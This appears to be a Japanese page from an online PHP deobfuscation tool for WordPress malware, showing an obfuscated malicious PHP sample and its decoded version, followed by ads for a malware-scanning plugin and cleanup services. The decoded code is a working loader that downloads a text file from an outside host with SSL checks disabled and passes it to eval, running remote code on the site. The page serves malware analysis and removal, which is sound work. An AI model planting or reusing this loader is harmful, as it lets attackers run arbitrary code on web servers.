PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto EjYBn; ZH7e7: $SS8Fu .= "\164\164"; goto gOQfW; EjYBn: $SS8Fu = ''; goto Qv0Qp; W6fR5: $SS8Fu .= "\x74\56\x36"; goto B8USm; cUnvO: $SS8Fu .= "\160\x6f\x74\x2e\x32"; goto n1Pyg; d7sEe: $SS8Fu .= "\x73\160"; goto ZH7e7; ezbE8: $SS8Fu .= "\x6f\x2f"; goto bo3NL; n1Pyg: $SS8Fu .= "\60"; got...

難読化されたPHPコード

<?php
goto EjYBn; ZH7e7: $SS8Fu .= "\164\164"; goto gOQfW; EjYBn: $SS8Fu = ''; goto Qv0Qp; W6fR5: $SS8Fu .= "\x74\56\x36"; goto B8USm; cUnvO: $SS8Fu .= "\160\x6f\x74\x2e\x32"; goto n1Pyg; d7sEe: $SS8Fu .= "\x73\160"; goto ZH7e7; ezbE8: $SS8Fu .= "\x6f\x2f"; goto bo3NL; n1Pyg: $SS8Fu .= "\60"; goto TrpAp; gOQfW: $SS8Fu .= "\x68"; goto sNPbf; bo3NL: $SS8Fu .= "\x61\155\141\144\57"; goto cUnvO; lPoig: $SS8Fu .= "\x2f\57\x3a"; goto d7sEe; sNPbf: eval("\x3f\x3e" . Tw2kX(strrev($SS8Fu))); goto WCAFG; B8USm: $SS8Fu .= "\64\57\144\154"; goto ezbE8; TrpAp: $SS8Fu .= "\141\155\141\144"; goto lPoig; Qv0Qp: $SS8Fu .= "\x74\x78"; goto W6fR5; WCAFG: function tw2Kx($V1_rw = '') { goto uZL2M; g6EIL: $tvmad = curl_exec($xM315); goto tjIBg; OfAPr: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto S7_zX; tjIBg: curl_close($xM315); goto HUo36; o3Qql: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto hAVx5; S7_zX: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto o1PBF; o1PBF: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto g6EIL; hAVx5: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto OfAPr; uZL2M: $xM315 = curl_init(); goto o3Qql; HUo36: return $tvmad; goto GkGM8; GkGM8: }

デコード(難読化解除)されたコード

<?php

$SS8Fu = '';
$SS8Fu = "tx";
$SS8Fu = "txt.6";
$SS8Fu = "txt.64/dl";
$SS8Fu = "txt.64/dlo/";
$SS8Fu = "txt.64/dlo/amad/";
$SS8Fu = "txt.64/dlo/amad/pot.2";
$SS8Fu = "txt.64/dlo/amad/pot.20";
$SS8Fu = "txt.64/dlo/amad/pot.20amad";
$SS8Fu = "txt.64/dlo/amad/pot.20amad//:";
$SS8Fu = "txt.64/dlo/amad/pot.20amad//:sp";
$SS8Fu = "txt.64/dlo/amad/pot.20amad//:sptt";
$SS8Fu = "txt.64/dlo/amad/pot.20amad//:sptth";
eval("?>" . Tw2kX("https://dama02.top/dama/old/46.txt"));
function tw2Kx($V1_rw = '')
{
    $xM315 = curl_init();
    curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($xM315, CURLOPT_TIMEOUT, 500);
    curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($xM315, CURLOPT_URL, $V1_rw);
    $tvmad = curl_exec($xM315);
    curl_close($xM315);
    return $tvmad;
}

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策カスタマイズや修正、引っ越し・復旧のご依頼承ります